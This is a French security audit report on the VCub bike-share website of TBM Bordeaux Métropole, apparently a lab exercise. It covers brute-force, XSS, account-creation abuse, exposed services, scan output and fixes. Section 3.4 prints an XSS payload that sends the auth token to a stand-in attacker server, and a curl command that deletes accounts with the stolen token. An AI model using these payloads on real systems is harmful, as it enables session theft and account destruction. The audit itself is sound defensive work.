Rapport d'Audit de Sécurité – Service VCub
TBM Bordeaux Métropole

1. Contexte 📋

Le réseau TBM (Transports Bordeaux Métropole) souhaite moderniser son site dédié au service VCub, permettant aux usagers de suivre en temps réel l'état des stations de vélos en libre-service. Le site actuel repose sur des technologies obsolètes, ce qui nécessite une refonte complète à la fois visuelle et technique. Cette analyse de sécurité a pour but d'identifier les vulnérabilités du système actuel avant sa refonte.

---

2. Méthodologie 🛠️

- Analyse manuelle des formulaires et fonctionnalités.
- Tests applicatifs (Bruteforce, XSS, etc.).
- Scan réseau avec Nmap.
- Énumération des ressources web avec Gobuster.

---

3. Vulnérabilités identifiées ⚠️

3.1 Authentification : Bruteforce et compromission complète 🔐

- Absence de limitation des tentatives de connexion.
- Possibilité de bruteforce pour récupérer un mot de passe.
- Récupération du token d'authentification suite à cette compromission.
- Utilisation du token pour supprimer le compte utilisateur.

Impact critique :

- Compromission totale du compte.
- Suppression ou modification non autorisée des données.

Recommandations :

- Limiter les tentatives de connexion (par IP ou utilisateur).
- Ajouter un CAPTCHA après plusieurs échecs.
- Utiliser des tokens à durée courte, renouvelables.
- Mettre en place une double authentification (2FA) pour les actions sensibles.
- Journaliser les activités suspectes et notifier les utilisateurs.

Rapport d'Audit de Sécurité – Service VCub
TBM Bordeaux Métropole

3.2 XSS (Cross-Site Scripting) sur les avis

- Injection possible via le champ d'avis sur les stations.
- Code HTML/JS malveillant exécuté dans le navigateur des utilisateurs.

Impact :

- Vol de session, redirections malveillantes, diffusion de malware, etc.

Recommandations :

- Filtrer et échapper toutes les entrées utilisateurs.
- Utiliser les protections XSS fournies par les frameworks modernes.

3.3 Création de comptes illimitée (attaque DoS)

- Possibilité de créer un nombre infini de comptes sans limitation.
- Risque de surcharge de la base de données et de l'espace disque.

Recommandations :

- Intégrer un CAPTCHA.
- Limiter le nombre de créations par IP.
- Ajouter une validation par email.

3.4 Exploitation avancée XSS + API

Une faille XSS dans le champ d'avis permet l'exécution de JavaScript injecté. Cette vulnérabilité combinée avec l'absence de protection des appels API sensibles permet une **prise de contrôle complète du compte utilisateur** et sa suppression à distance.

Preuve de concept (XSS)

```
<script>
fetch('http://votre-serveur-attacker.com/steal?token=' + localStorage.getItem('auth_token'), {
   method: 'GET',
   mode: 'no-cors'
});
</script>
```

Ce code malveillant exfiltre le token d'authentification stocké en local dans le navigateur.

Rapport d'Audit de Sécurité – Service VCub
TBM Bordeaux Métropole

Suppression du compte via token volé ❌

Une fois le token obtenu, l'attaquant peut supprimer le compte de la victime avec cette commande :

```
curl -X 'DELETE' 'http://10.33.70.223:3000/api/my-account/delete' \
  -H 'accept: application/json' \
  -H 'Content-Type: application/json' \
  -H 'Authorization: Bearer <TOKEN>'
```

Impact :

- Vol d'identité.
- Suppression non autorisée de comptes.
- Déni de service ciblé (DoS).
- Possible escalade de privilèges si utilisé sur des comptes administrateurs.

Recommandations spécifiques :

- Sécuriser toutes les API sensibles par une validation côté serveur (authentification stricte + contrôle d'autorisation).
- Ne **jamais stocker des tokens sensibles** dans localStorage sans chiffrement ou mécanismes de protection.
- Appliquer des **Content Security Policy (CSP)** restrictives pour bloquer l'injection de scripts externes.
- Ajouter une protection CSRF sur les endpoints critiques.

4. Analyse réseau (Nmap) 🔍

Nmap scan report for 10.33.70.223
Host is up (0.0054s latency).
Not shown: 65524 closed tcp ports (conn-refused)

PORT	STATE	SERVICE	VERSION
80/tcp	open	http?	
443/tcp	open	https?	
1716/tcp	open	tcpwrapped	
3000/tcp	open	http	Node.js Express framework
3128/tcp	open	squid-http?	
8000/tcp	open	http	SimpleHTTPServer 0.6 (Python 3.11.12)
8080/tcp	open	http-proxy?	
8118/tcp	open	privoxy?	
8228/tcp	open	unknown	
10011/tcp	open	unknown	
27017/tcp	open	mongodb	MongoDB 6.1 or later

Rapport d'Audit de Sécurité – Service VCub
TBM Bordeaux Métropole

Commentaires :

- L'accès public au port MongoDB (27017) est un **risque majeur** de fuite ou compromission.
- Présence de multiples serveurs web/proxy exposant une surface d'attaque large.

5. Résultats Gobuster 

URL testée : http://10.33.70.223:8000/
Wordlist utilisée : common.txt

Chemins trouvés :
/css/ (Status: 301)
/icons/ (Status: 301)
/index.html (Status: 200)
/javascript/ (Status: 301)

Observations :

- Indexation possible via SimpleHTTPServer (port 8000).
- Accès non restreint à certains répertoires.

Recommandations :

- Désactiver l'indexation automatique dans le serveur.
- Restreindre l'accès aux fichiers sensibles (robots.txt, .git, etc.).

6. Recommandations générales ✅

Problème identifié	Recommandations principales
Bruteforce	Limitation des tentatives, CAPTCHA, 2FA, journalisation
XSS	Filtrage/échappement des entrées utilisateur
Création illimitée de comptes	Validation email, limitation par IP, CAPTCHA
MongoDB exposé	Interdire accès public, firewall strict, bind sur localhost
Trop de ports ouverts	Fermer les services inutiles
Proxy HTTP/Privoxy actifs	Restreindre ou désactiver si non nécessaires
Indexation des répertoires	Configurer les serveurs pour interdire le listing

Rapport d’Audit de Sécurité – Service VCub
TBM Bordeaux Métropole

7. Conclusion 🏳

Le site VCub actuel présente plusieurs vulnérabilités critiques exposant les données utilisateurs et la disponibilité du service. Avant toute refonte, il est **impératif** :

- De corriger les failles critiques (authentification, XSS, MongoDB),
- De restreindre l’exposition réseau,
- De sécuriser les applications web et services exposés.

La nouvelle version devra impérativement intégrer une démarche **Secure by Design**, incluant des pratiques modernes de développement sécurisé (DevSecOps), des audits réguliers, et des tests automatisés.